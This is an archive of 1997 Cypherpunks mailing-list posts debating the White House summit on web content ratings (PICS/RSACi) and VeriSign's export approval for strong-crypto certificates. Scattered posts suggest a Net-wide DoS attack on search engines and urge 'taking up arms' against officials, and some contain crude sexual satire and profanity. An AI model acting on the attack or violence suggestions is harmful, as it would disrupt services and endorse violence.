At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
>
>***********
>
>http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News (http://netlynews.com)
>July 16, 1997
>
>At The Censorware Summit
>by Declan McCullagh (declan@well.com)
>
>     If you host a web page or publish online, be
>warned: soon your site might become invisible. Search
>engines won't index it and web browsers won't show it.
>Unless, that is, you agree to attach special labels to
>your web pages identifying how violent, sexually
>explicit, or inappropriate for kids your site is.
>
>     This was the thrust of today's White House
>censorware summit, where President Clinton sat down
>with high tech firms and non-profit groups in a
>private meeting to talk about pressuring the Net
>community to make cyberspace childsafe through labels.
>"We need to encourage every Internet site, whether or
>not it has material harmful to minors, to rate its
>contents," Clinton said after the meeting. Vice
>President Gore was there, too, giving a quick
>demonstration of how labeling works.
>
>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.
>
>     As will future users of Microsoft's Internet
>Explorer browser. The next version of IE will default
>to displaying only properly labeled web pages,
>according to Ken Wasch, the president of the Software
>Publishers Association. Since many users won't turn
>off that feature to reach unrated sites, many large
>web sites now are facing hefty pressure to self-label.
>
>     Other high tech firms rushed to join the
>presidential limelight. Netscape promised to join
>Microsoft and include label-reading software in the
>next version of its browser. America Online's Steve
>Case thanked Clinton for "backing industry's efforts
>to make cyberspace a safer place." IBM announced a
>$100,000 grant to RSACi, a PICS-based rating standard
>originally designed for video games but adapted for
>the Web. The industry giant also pledges to
>incorporate RSACi into future products.
>
>[...]
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 05:47:45 +0800
To: cypherpunks@toad.com
Subject: Re: White House "kinder, gentler"-CDA
Message-ID: <199707162116.XAA17629@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.

  I don't see Cypherpunks being naieve about the need to compromise in
order for people to live together, but I think Cypherpunks recognize the 
difference between things which are inviolate and those which are not.

  e.g. - A group of people in a liferaft with food and poison.
  Debate over how much each of us can eat from a pool of food held in
common may be open to compromise, but debate over whether any individual
can-or-cannot-or-*must* eat poison to end suffering or "for the good of
the collective" should *not* be open to compromise of the individual's
right to self-determination.

  The problem is that the "solution" to every "problem," in the eyes of
LEA's and the legislature, is to compromise rights and freedoms that 
are guaranteed by the Constitution.
  The problem is that many of the purported "problems" involve people
passing judgement on the interests and actions of others and their
"solution" is to criminalize other's actions on the basis of their own
sense of guilt and shame.
  The problem is that those promoting "compromise" often have an agenda
that is based on a series of compromises leading to complete abrogation 
of the other's position. {A prime example is the "compromise" of making
already-legal crypto "legal" in return for agreeing to criminalizing
other currently legal actions.)

> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?

  If you are taking a reasonable, rational stance on issues and are
marginalized or cut out of the loop in order for the government to
disenfranchise your constituents, then you can serve your constituents
by taking up arms against the criminals who are subverting the will
of the people.

> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.

  Duh... I certainly hope you are talking about giving up your *own*
fundamental liberties to remain in "the game" (which you have every
right to do). However, if you are indeed representing constituents
(or readers), then you are also giving up their liberties, as well,
to a certain extent.
  I think you need to do some serious thinking about the difference
between compromising in order to defend a position and compromising
in order to "remain a player in the game."
  If you are not strong enough to defend a position of principle
and survive, then you should not be the one "in the game" defending
that position. The ACLU and the NRA "marginalize" and "compromise"
themselves, it is not the government, the public, or their members
"doing it *to*" them.

  As far as I am concerned, what compromises you make in order to
remain in a position to report on the beltway is your own decision
to make. I just hope you have the wit and wisdom to walk with the
Devil only as far as the bridge, because he always burns it behind
him, and few make it back.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 11:43:01 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <3.0.1.32.19970716181248.00b5a920@dnai.com>
Message-ID: <a7uy0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard <lizard@dnai.com> writes:

> You will get a lot more respect on the net once you learn how to read
> messages. I'll leave it you to figure out what you got wrong.

You assume that someone gives a damn whether you "respect" them or not.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 14:47:09 +0800
To: Marc Rotenberg <lizard@dnai.com>
Subject: sorry
Message-ID: <199707170632.XAA10571@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



My foot in my mouth.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Thu, 17 Jul 1997 11:46:00 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.LNX.3.93.970717091037.246A-100000@shirley>
Message-ID: <Pine.BSF.3.96.970716232945.6885A-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> What is the tempriture in hell today?
> 
The temperature of Heaven can be rather accurately computed from available
data.  Our authority is Isaiah 30:26, "Moreover, the light of the Moon
shall be as the light of the Sun and the light of the Sun shall be sevenfold,
as the light of seven days."  Thus Heaven receives from the Moon as much
radiation as we do from the Sun, and in addition seven times seven (49)
times as much as the Earth does from the Sun, or fifty times in all.  The
light we receive from the Moon is one ten-thousandth of the light we
receive from the Sun, so we can ignore that.  With these data we can
compute the temperature of Heaven.  The radiation falling on Heaven will
heat it to the point where the heat lost by radiation is just equal to the
heat received by radiation, i.e., Heaven loses fifty times as much 
heat as the Earth by radiation. Using the Stefan-Boltzmann law for
radiation, (H/E)^4 = 50, where E is the absolute temperature of the earth
(-300K), gives H as 798K (525C).  The exact temperature of Hell cannot be
computed, but it must be less than 444.6C, the temperature at which
brimstone or sulphur changes from a liquid to a gas.
Revelations 21:8 says "But the fearful, and unbelieving ... shall have
their part in the lake which burneth with fire and brimstone."  A lake of
molten brimstone means that its temperature must be at or below the
boiling point, or 444.6C  (Above this point it would be a vapor, not a
lake.)  We have, then, that Heaven, at 525C is hotter than Hell at 445C.
                -- "Applied Optics", vol. 11, A14, 1972

Sorry, fortune must be invoked in times of mailing list heresy.

Bradley Reynolds
breynolds@harborcom.net
ber@cwru.edu
PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26
PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 17 Jul 1997 15:28:23 +0800
To: Declan McCullagh <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <v03007815aff36e405f5f@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 AM -0700 7/16/97, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>
>On Wed, 16 Jul 1997, Lucky Green wrote:
>> 2) If the tags are not signed by a CA.
>> What is someone to prevent from labeling the NAMBLA monthly site,
>> "government authorized news site, suitable for all ages"? Just as the
>> various GAK proposals do not make sense unless GAK is mandatory, online
>> rating systems do not make sense unless "misslabeling" sites will become a
>> felony.

What does misrate mean.  My approach would be to rate everything of mine as
max-bad.  Is that misrating because some of what I say is suitable for
children?  It certainly would not help the people who are using the ratings
to find porn.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 17 Jul 1997 11:59:47 +0800
To: Declan McCullagh <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970716234246.03aaeea8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>

What ever happened to "de minimus non curat lex."  The social damage from a 
misrated website is too trivial to be believed.  Punishing it is like 
executing you for farting.

DCF  
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 15:23:29 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:57 PM 7/16/97 -0700, Bill Stewart wrote:
>Forwarded from PGP-USERS list:
>> First PGPInc and now VeriSign? Hmmm. Is this telling us something?
>
>     "VeriSign on Monday said it received permission from 
>       the U.S. Department of Commerce to export 128-bit 
>       strong encryption software and issue digital 
>       identifications to approved organizations based on 
>       that software. "

It tells us that the US government has found yet another sucker to support
their failed policy of bait and switch. VeriSign, just as AT&T and National
Semiconductor have discovered in the past, will discover soon that the
revenue generated by "playing ball" isn't nearly as large as promised. [How
many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
it the revenue may well prove to be in the negative digits.

Here is the straight dope on the VeriSign/MSFT/NSCP/USG deal:

If you are

1. A non US-bank (the feds decide what constitutes a bank) and promise to
be nice or
2. A US corporation with a server inside the US and thereby subject to
subpoena of all records

then VeriSign will issue you a special cert, subject to veto by the feds,
that will enable exportable Netscape and Microsoft browsers to connect to
your site with 128 bit SSL.

The cert is typically valid for a year, but is subject to revocation at any
time by VeriSign upon the USG's request. Such revocation or refusal to
issue a new cert after the first year of operation will leave the webserver
operator with a server that is no longer able to encrypt communications to
their customers in any meaningful way, thereby effectively shutting down
Internet based operations of the company unfortunate enough to invest in
such a flawed solution.

In other words, the USG now permits you to use strong crypto in web based
communications with your international customers if you agree to play by
the USG's rules and allow the feds to install a MASTER-OFF switch in the
heart of your business. What is most amusing from the government's
perspective is that once the USG flips the switch, it will be VeriSign,
Microsoft, and Netscape that take the heat for selling their customers such
a flawed solution.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: President <president@shithouse.gov>
Date: Thu, 17 Jul 1997 15:31:53 +0800
To: cypherpunks@toad.com
Subject: CDA II
Message-ID: <199707170709.BAA00711@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Dear CypherPunks,
  I will shortly have one of my schills introduce CDA II to Congress,
with provisions for declaring martial law on the InterNet and bombing
any country which allows terrorists to fight for freedom, liberty and
the right to privacy.
  Please be assured that our dictatorial powers will only be used to
meet the legitimate needs of Fascism.

  Our first step will be to eliminate the scourge of drug dealing the
same way we eliminated the scourge of gambling--the government will take
over the industry.
  Our second step will be to eliminate child pornography by eliminating
all the children. (It's so simple that I find it amazing that we hadn't
thought of it before.)

  Originally, all we wanted was Poland, but lately we've had so many
corporate lipstick marks on our butts that we've decided to go for the
(Netscape) gold and require all future computers to contain our newest
facistechnology, the "Slip'er A Dick" chip.

  In the past, the CypherPunks have been a pain in the ass during our
attempts to subvert the Constitution, but we are willing to forgive 
and forget.
  Accordingly, we are adding an amendment to CDA II which provides
$10,000,000 in funding for the continuation of the CypherPunks list.
The amendment will put Kent Crispin in charge of moderating the list,
and in return for this small compromise we are willing to add another
amendment which makes it legal for CypherPunks to import and export
air from their lungs. {This major concession is the result of the
efforts of the EFF on your behalf.}

  I realize that abandoning your beliefs in order to feed at the public
trough will lessen your reputation capital, so I am also willing to
institute a bonus system for those who maintain the party line. I am
certain that this will more than compensate for any loss of reputation
you may suffer by becoming beltway lackeys.
  Example: You load 16 tons. What do you get...?

Bad Billy C.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 17 Jul 1997 16:27:51 +0800
To: cypherpunks@Algebra.COM
Subject: All of my fucking material is suitable for children of all ages
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <v03102801aff383927433@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:40 PM -0700 7/16/97, Bill Frantz wrote:

>What does misrate mean.  My approach would be to rate everything of mine as
>max-bad.  Is that misrating because some of what I say is suitable for
>children?  It certainly would not help the people who are using the ratings
>to find porn.

My posts would _never_ be "max-bad," whatever that peculiar term may mean.

Rather, my posts should be read by children of all ages, no matter what
fucking language I use. Children should be exposed to language and images
of all types, so all of my material would of course be "suitable for
children."

Who is to say otherwise? The Office of the Censor? The Ministry of Truth?

Of course, the apparent answer is that PICS/RSAIc labels would be applied
on a Web site basis by various licensed, credentialed, certified, and
regulated ratings agencies.

All highly unconstitutional if required by the government. On various
grounds. Besides being a nightmare to try to enforce.

If just an agreement by browser makers and search engine companies, then no
constitutional issues. (Not that I would _like_ it, but then there are a
lot of nongovernmental things I don't like.)

In any case, many of us knew this was coming. The archives will show that
several of us pointed out the extreme likelihood of PICS being used in just
this nefarious sort of way. Nothing surprising.

Those involved in mandatory censorship simply need to be <censored>, that
is all. I no longer think dialog with them is worth my time.

That the ACLU and other so-called 'civil rights' groups think that sitting
down with Bill Clinton and Al Gore and jawboning about mandatory ratings,
about collusion between companies to enforce moral standards, and about
punishment for "misrating" is just more evidence of how sick the whole
system has gotten. They should just tell the government to stay out of
content regulation of any sort, period.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 17 Jul 1997 18:03:09 +0800
To: cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <19970717024638.59899@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 16, 1997 at 11:40:33PM -0700, Bill Frantz wrote:
> What does misrate mean.  My approach would be to rate everything of mine as
> max-bad.  Is that misrating because some of what I say is suitable for
> children?  It certainly would not help the people who are using the ratings
> to find porn.

Speaking of misrating:

Of course, it would be relatively easy to set up a proxy server that
automatically labeled every page it encountered as "suitable for
children".  In fact, a smart 12-year old could put up such a proxy,
and provide uncensored views to all his friends.

Interesting legal complications, too.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Thu, 17 Jul 1997 13:06:26 +0800
To: cypherpunks@toad.com
Subject: Family values
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <19970717045452.6428.qmail@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



I'd rather accept the fact that teenagers might look at porn (shock!)
than bring children up in a police state.  Anyhow, vaguely relevant to
this hypocrisy is

http://www.gmcclel.bossnt.com/kk/kk970708.html

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 17 Jul 1997 17:08:34 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170854.EAA01439@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian Lane writes:

:   My webpage will proudly remain unlabeled by any labeling standard.
: Anyone got a good design for a 'No Lables, Never' sticker to add to our
: pages?
 
How about an image of a label with the words ``this is not a label''
on it?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 17 Jul 1997 17:22:01 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <199707170915.FAA01650@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:

: BTW, we should differentiate generally between state action and private
: action. Getting fucked by Microsoft != getting fucked by the government.
: This is Libertarianism 101. Of course, I admit today the distinction was
: blurry.

Corporations are just parts of the government that got away.  I have
never understood why some, though far from all, libertarians bother
to distinguish them from the other organs of the state. 

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 20:24:33 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <199707171129.GAA04537@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716212852.24530B-100000@well.com>, on 07/16/97 
   at 11:29 PM, Declan McCullagh <declan@well.com> said:

>Wait -- so you're saying they *didn't* do the right thing with RSACi?

Yes that is exactly what I am saying. The *right* thing to do would have
been to just walked away from the whole thing and let the market decide.


>BTW, we should differentiate generally between state action and private
>action. Getting fucked by Microsoft != getting fucked by the government.
>This is Libertarianism 101. Of course, I admit today the distinction was
>blurry.

Well here it seems you have one fucking you and the other holding you
down. In the eyes of the person getting fucked does it really matter who
is doing which?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 09:14:07 +0800
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.GSO.3.95.970716144140.4823C-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717064758.102A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain




	Now I'm clearly not a 'merkin and have little knowlig of how your
system works but I would have thourt creating a sepreate marking sceam for
'news sites' and makeing it illegal to misslable would be creating a
licenced press and therefore unconstutional.

You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 17 Jul 1997 15:50:42 +0800
To: Lizard <cypherpunks@cyberpass.net>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <a7uy0D3w165w@bwalk.dm.com>
Message-ID: <199707170742.BAA26953@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 970716:2321 
    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+Lizard <lizard@dnai.com> writes:

+> You will get a lot more respect on the net once you learn how to read
+> messages. I'll leave it you to figure out what you got wrong.

+You assume that someone gives a damn whether you "respect" them or
+not.

    Lizard is a bigger fool than he shows --anyone who writes on the basis of 
    "respect" fails to understand the principles of controversial opinions and 
    the advancement of knowledge away from either politically or "socially" 
    correct thinking.  rudeness can occasionally be an art form in and of 
    itself --for instance, in dealing with a pompous asshole who never gets 
    off his/her procelain potty throne.

        attila
 ______________________________________________________________________
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 14:21:56 +0800
To: cypherpunks@toad.com
Subject: de minimus non curat lex
Message-ID: <199707170605.IAA26013@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com wrote:
> At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
> >As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
> >it a Federal crime to misrate. --Declan

> What ever happened to "de minimus non curat lex."  The social damage from a
> misrated website is too trivial to be believed.  Punishing it is like
> executing you for farting.

  The correct translation of "de minimus non curat lex" is: 
"No fart, no foul."
  In order for order to prevail, society must have the authority
to punish those who fart in a crowded theater. On the other hand,
if someone farts in a forest and nobody smells it...

  Never mind. I was having an AOL flashback.

FartMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter G. Neumann" <neumann@csl.sri.com>
Date: Thu, 17 Jul 1997 23:47:12 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: i miss carol anne cyphergrrl
Message-ID: <CMM.0.90.1.869152885.neumann@chiron.csl.sri.com>
MIME-Version: 1.0
Content-Type: text/plain



Dank U, Zooko!
We are indeed on the horns of a dilemma.
As long as the vendors can get away with crapware
(with respect to security, reliability, robustness, etc.),
there is no incentive to do better.  In info-peace, most
folks don't care.  In info-war, the bad guys (on all sides)
are delighted that the systems are flaky, and the good guys
lose.  However, the governmental incentives that exist seem
to opt for dumbing down -- despite the realization that 
governments cannot get x-worthy systems to satisfy their own
needs.  Short-sighted parado[x|c]trinarianism abounds.
Piet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 17 Jul 1997 23:38:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: VeriSign Granted First Federal Approval to Issue CertificatesEnabling Export of Strong Encryption
Message-ID: <v03102801aff3ea71e5a9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:16 PM -0400 7/15/97, ptharrison wrote, on e$@thumper.vmeng.com:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:49 AM 7/15/97 -0400, VERISIGN PR wrote:
>>---------------------------------------------------------------------
>>...allowing approved organizations to use 128-bit encryption
>>... U.S.-based companies -- with servers located in the U.S.  --
>> and international banks -- with servers located in the US and abroad --
>>... was granted approval after review and consultation
>> from the National Security Agency (NSA) and Federal Bureau of Investigation
>> (FBI).
>> ...Companies will not need to escrow their keys in order
>> to take advantage of this program.
>> ...VeriSign...can ensure that...Global Server IDs will only be granted to >
>> > legitimate businesses that meet the necessary U.S. government
>qualifications
>> Thanks to the cooperation of the U.S. government, we are now able to offer
>>law-> abiding companies a legal alternative for secure communication and
>>commerce."
>> ...
>>     MICROSOFT
>> said Mike Dusche, "The U.S. government is sending a strong message to the
>world
>> by approving these applications and we're happy to be working with them...
>
>Yes, and what might that message be?

With this announcement, it has become clear to me what the US government is
attempting to do. They are relaxing the export of strong crypto -- if you
use a US-based certification authority. Why does this matter? Look at the
Kerry bill. My guess is that they already know that Verisign will go along
with a key escrow requirement, in exchange for protection from liability,
and so their goal now is to put Verisign in the loop as much as possible.

I started to think of the loopholes this could create -- US companies
outsourcing web sites for  foreign companies, etc. Then I realized: IT
DOESN'T MATTER, as far as the US government is concerned, because they're
going to have those keys escrowed. The Kerrey bill may not pass this
go-around, but they are counting on something like this.

The hard part, now, is to figure out how to explain this to industry,
public and the press, without sounding like raving lunatics. We meed to
make it more concrete. Remind people that certificates expire every year,
and point them at the Kerrey legislation. Ask foreign banks how they feel
about their transactions being fully accessible to the US government -- or
anyone capable of bribing a low-level functionary in the US government.

--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 18 Jul 1997 00:06:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <v03102800aff35a11fa0e@[10.0.2.15]>
Message-ID: <19970717085138.30752@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 16, 1997 at 10:13:22PM -0700, Steve Schear wrote:
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> 
> These suggests that Yahoo, Excite, and Lycos might become tempting targets
> of a Net-wide DoS attack until they repent.

It also suggests a far more intelligent course of action, namely
setting up a competing, non-rating, search engine somewhere else.  It
would soon become more popular than Yahoo etc -- a tremendous 
business opportunity.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 11:27:18 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717091037.246A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Kudos to Microsoft for doing the right thing.

What is the tempriture in hell today?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And The Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 18 Jul 1997 00:34:18 +0800
To: Adam Shostack <shamrock@netcom.com (Lucky Green)
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <v0300781aaff3f52c25a1@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



It seems to me that someone who has a one year export approved Verisign
cert should use it to authenticate a new top-level CA cert which they pass
to their customers.  Cut Verisign and their nosy/noisy partner out of the
loop.


-------------------------------------------------------------------------
